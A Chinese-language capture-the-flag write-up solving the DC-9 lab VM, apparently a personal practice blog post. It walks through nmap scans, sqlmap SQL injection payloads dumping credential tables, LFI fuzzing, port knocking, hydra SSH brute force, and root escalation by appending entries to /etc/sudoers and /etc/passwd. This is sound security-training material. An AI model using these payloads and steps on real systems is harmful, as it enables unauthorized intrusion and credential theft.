
DC 系列第九題, DC: 9 終於在年假結束的第二個禮拜全數解題完畢,雖然比預期晚了兩個禮拜,但…至少還是有兌現當時後開的支票,之後若有空應該還是會持續找靶機來練習,若自信允許的話,應該會也會抽空嘗試 OSCP 吧。
目錄
環境設定
VirtualBox: Kali & DC: 9
Net Config: NAT Network
尋找靶機
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | $ nmap 10.0.2.1/24 -sP Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-20 10:09 CST Nmap scan report for 10.0.2.1 Host is up (0.013s latency). Nmap scan report for 10.0.2.2 Host is up (0.0052s latency). Nmap scan report for 10.0.2.15 Host is up (0.00025s latency). Nmap scan report for 10.0.2.20 Host is up (0.0021s latency). Nmap done: 256 IP addresses (4 hosts up) scanned in 13.71 seconds $ nmap 10.0.2.20 -p- -A Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-20 10:51 CST Nmap scan report for 10.0.2.20 Host is up (0.0011s latency). Not shown: 65534 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Example.com - Staff Details - Welcome Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.21 seconds |
解題過程
由於只有開 80 Port,就連上去看看,並且發現是一個簡單的網站。

Wappalyzer
透過 Wappalyzer 並沒有什麼發現。

SQL Injection
透過 Search 功能找到 SQL Injection 的注入點。

SQLMAP
發現資料庫 users
的 UserDetails
資料表中,含有許多帳號密碼,並且密碼並未加密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | $ sqlmap -r dc9_payload.txt --dbs -D users -T UserDetails --dump ___ __H__ ___ ___[)]_____ ___ ___ {1.4.11#stable} |_ -| . ["] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 10:57:24 /2021-02-20/ [10:57:24] [INFO] parsing HTTP request from 'dc9_payload.txt' custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] [10:57:25] [INFO] resuming back-end DBMS 'mysql' [10:57:25] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: search=' AND (SELECT 3088 FROM (SELECT(SLEEP(5)))pxVA) AND 'capG'='capG Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: search=' UNION ALL SELECT NULL,CONCAT(0x7176626a71,0x6a6d6f4f554e42795855646c72447963637579574e4754724a736d6b4d5a5377684c70664752586f,0x716a786a71),NULL,NULL,NULL,NULL-- - --- [10:57:25] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [10:57:25] [INFO] fetching database names available databases [3]: [*] information_schema [*] Staff [*] users [10:57:26] [INFO] fetching columns for table 'UserDetails' in database 'users' [10:57:26] [INFO] fetching entries for table 'UserDetails' in database 'users' Database: users Table: UserDetails [17 entries] +----+------------+---------------+---------------------+-----------+-----------+ | id | lastname | password | reg_date | username | firstname | +----+------------+---------------+---------------------+-----------+-----------+ | 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary | | 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie | | 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred | | 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney | | 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom | | 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry | | 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma | | 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty | | 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler | | 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey | | 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel | | 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross | | 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica | | 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe | | 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter | | 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald | | 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott | +----+------------+---------------+---------------------+-----------+-----------+ |
接著再找 Staff
資料庫的 Users
資料表,發現一組 admin 的帳號與密碼 Hash。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | $ sqlmap -r dc9_payload.txt --dbs -D Staff -T Users --dump ___ __H__ ___ ___[.]_____ ___ ___ {1.4.11#stable} |_ -| . [)] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 13:33:40 /2021-02-21/ [13:33:40] [INFO] parsing HTTP request from 'dc9_payload.txt' custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] [13:33:42] [INFO] resuming back-end DBMS 'mysql' [13:33:42] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: search=' AND (SELECT 3088 FROM (SELECT(SLEEP(5)))pxVA) AND 'capG'='capG Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: search=' UNION ALL SELECT NULL,CONCAT(0x7176626a71,0x6a6d6f4f554e42795855646c72447963637579574e4754724a736d6b4d5a5377684c70664752586f,0x716a786a71),NULL,NULL,NULL,NULL-- - --- [13:33:42] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [13:33:42] [INFO] fetching database names available databases [3]: [*] information_schema [*] Staff [*] users [13:33:42] [INFO] fetching columns for table 'Users' in database 'Staff' [13:33:42] [INFO] fetching entries for table 'Users' in database 'Staff' [13:33:42] [INFO] recognized possible password hashes in column 'Password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] do you want to crack them via a dictionary-based attack? [Y/n/q] [13:33:43] [INFO] using hash method 'md5_generic_passwd' what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > [13:33:44] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] [13:33:45] [INFO] starting dictionary-based cracking (md5_generic_passwd) [13:33:45] [INFO] starting 2 processes [13:34:47] [WARNING] no clear password(s) found Database: Staff Table: Users [1 entry] +--------+----------------------------------+----------+ | UserID | Password | Username | +--------+----------------------------------+----------+ | 1 | 856f5de590ef37314e7c3bdf6f8a66dc | admin | +--------+----------------------------------+----------+ [13:34:47] [INFO] table 'Staff.Users' dumped to CSV file '/home/mksyi/.local/share/sqlmap/output/10.0.2.20/dump/Staff/Users.csv' [13:34:47] [INFO] fetched data logged to text files under '/home/mksyi/.local/share/sqlmap/output/10.0.2.20' |
Login
首先嘗試使用 users
資料庫裡面的使用者帳密進行登入,試了幾組後都無法成功,轉為使用 Staff
資料表,但密碼經過 HASH,透過線上工具 crackstation 解出密碼為 transorbital1。

嘗試用 admin/transorbital1 登入成功後,發現底部有個 File does not exist
字樣,這個有點像是 DC: 5 的 footer 一樣是參數 file 的位置可被 LFI。

但可以 LFI,卻沒有地方可以寫入檔案,必且也沒有 phpinfo 可以利用,不知道該如何 RCE,最後用 Burp 爆一下目錄。
1 | wfuzz -c -z file,linux_list.txt --hw 78 -u http://10.0.2.20/welcome.php?file=../../../../../../..FUZZ -b PHPSESSID=9grc9ljpq4n37bvr0n012p37in |
但還是沒有得到可以利用的資訊,這邊折騰了幾天,最後決定看偷看一下別人的 Write-up,其他人發現了 /etc/knockd.conf
的檔案,到這邊才初步認識到 Single Packet Authorization (SPA) 這個概念。
先用防火牆預設把所有的 ports (或至少重要的 ports, 例如 22) 通通封掉, 這就像是在門鎖之外再蓋上一層 沒有鎖頭、 沒有鑰匙孔的門 一樣。 然後跟客戶端約好按照某個特定順序敲幾個 ports (例如先敲 23815、 次敲 62408、 再敲 59174) 伺服器偵測到這個特定順序, 外門才會像芝麻開門一樣地短暫打開一兩分鐘, 這時才看得見鑰匙孔 (port 22, ssh)。
連鑰匙孔都藏起來的 ssh 完全防禦: SPA
檢視 /etc/knockd.conf
設定檔內容後可以看到,ssh 的開啟條件為 7469、8475、9842。

但這邊還有一個問題,就算可以登入,也沒有帳號密碼,於是想到前面從資料庫偷到的明文帳號密碼組來嘗試。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | marym/3kfs86sfd julied/468sfdfsd2 fredf/4sfd87sfd1 barneyr/RocksOff tomc/TC&TheBoyz jerrym/B8m#48sd wilmaf/Pebbles bettyr/BamBam01 chandlerb/UrAG0D! joeyt/Passw0rd rachelg/yN72#dsd rossg/ILoveRachel monicag/3248dsds7s phoebeb/smellycats scoots/YR3BVxxxw87 janitor/Ilovepeepee janitor2/Hawaii-Five-0 |
分別存成 dc9_user.txt 與 dc9_pass.txt 後,使用 hydra 進行爆破,然後記得先按規則敲一下目標。
1 2 | $ for x in 7469 8475 9842; do nmap -Pn --max-retries 0 -p $x 10.0.2.20; done $ hydra -L dc9_user.txt -P dc9_pass.txt ssh://10.0.2.20 |
爆破獲取得三組帳號密碼。
1 2 3 | [22][ssh] host: 10.0.2.20 login: chandlerb password: UrAG0D! [22][ssh] host: 10.0.2.20 login: joeyt password: Passw0rd [22][ssh] host: 10.0.2.20 login: janitor password: Ilovepeepee |
Get Root to Win
現在可以透過 SSH 進行登入了,簡單探勘,三組用戶都沒有被加入 sudoers 裡,同時也沒有 gcc,但發現使用者 janitor
的路徑底下有 passwords-found-on-post-it-notes.txt
檔。
1 2 | $ ssh janitor@10.0.2.20 $ cat /home/janitor/.secrets-for-putin/passwords-found-on-post-it-notes.txt |
把他加入到密碼表之後,在爆一次,多爆出了一組用戶。
1 | [22][ssh] host: 10.0.2.20 login: fredf password: B4-Tru3-001 |
嘗試登入 fredf,並嘗試獲得更多資訊。
1 2 3 4 5 6 7 | ssh fredf@10.0.2.20 fredf@dc-9:~$ sudo -l Matching Defaults entries for fredf on dc-9: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User fredf may run the following commands on dc-9: (root) NOPASSWD: /opt/devstuff/dist/test/test |
發現可以使用 test 這隻程式。
1 2 | fredf@dc-9:/opt/devstuff/dist/test$ ./opt/devstuff/dist/test/test Usage: python test.py read append |
根據 Usage 的意思看來,可能是讀取 read 的檔案內容,並 append 在 append 檔案的末端,隨後經實驗證實也是如此。
藉此可以用來新增使用者或改寫檔案,例如新增 sudoers,或直接透過 /etc/passwd 新增一個等 root 使用者。
修改 sudoers:
1 2 | echo -en "fredf ALL=(ALL:ALL) ALL" > payload.txt sudo /opt/devstuff/dist/test/test payload.txt /etc/sudoers |
新增使用者:
1 2 3 4 5 | $ openssl passwd -1 -salt hacker 123456 $1$hacker$6luIRwdGpBvXdP.GMwcZp/ echo -en "mksyi:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash" > payload.txt sudo /opt/devstuff/dist/test/test payload.txt /etc/passwd |
Get Root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | sudo su [sudo] password for fredf: root@dc-9:/tmp# root@dc-9:~# cat theflag.txt ███╗ ██╗██╗ ██████╗███████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗██╗██╗██╗ ████╗ ██║██║██╔════╝██╔════╝ ██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║ ██╔██╗ ██║██║██║ █████╗ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ██║██║██║ ██║╚██╗██║██║██║ ██╔══╝ ██║███╗██║██║ ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝ ██║ ╚████║██║╚██████╗███████╗ ╚███╔███╔╝╚██████╔╝██║ ██║██║ ██╗██╗██╗██╗ ╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝╚═╝ Congratulations - you have done well to get to this point. Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those who have taken the time to complete the various DC challenges. I also want to send out a big thank you to the various members of @m0tl3ycr3w . They are an inspirational bunch of fellows. Sure, they might smell a bit, but...just kidding. :-) Sadly, all things must come to an end, and this will be the last ever challenge in the DC series. So long, and thanks for all the fish. |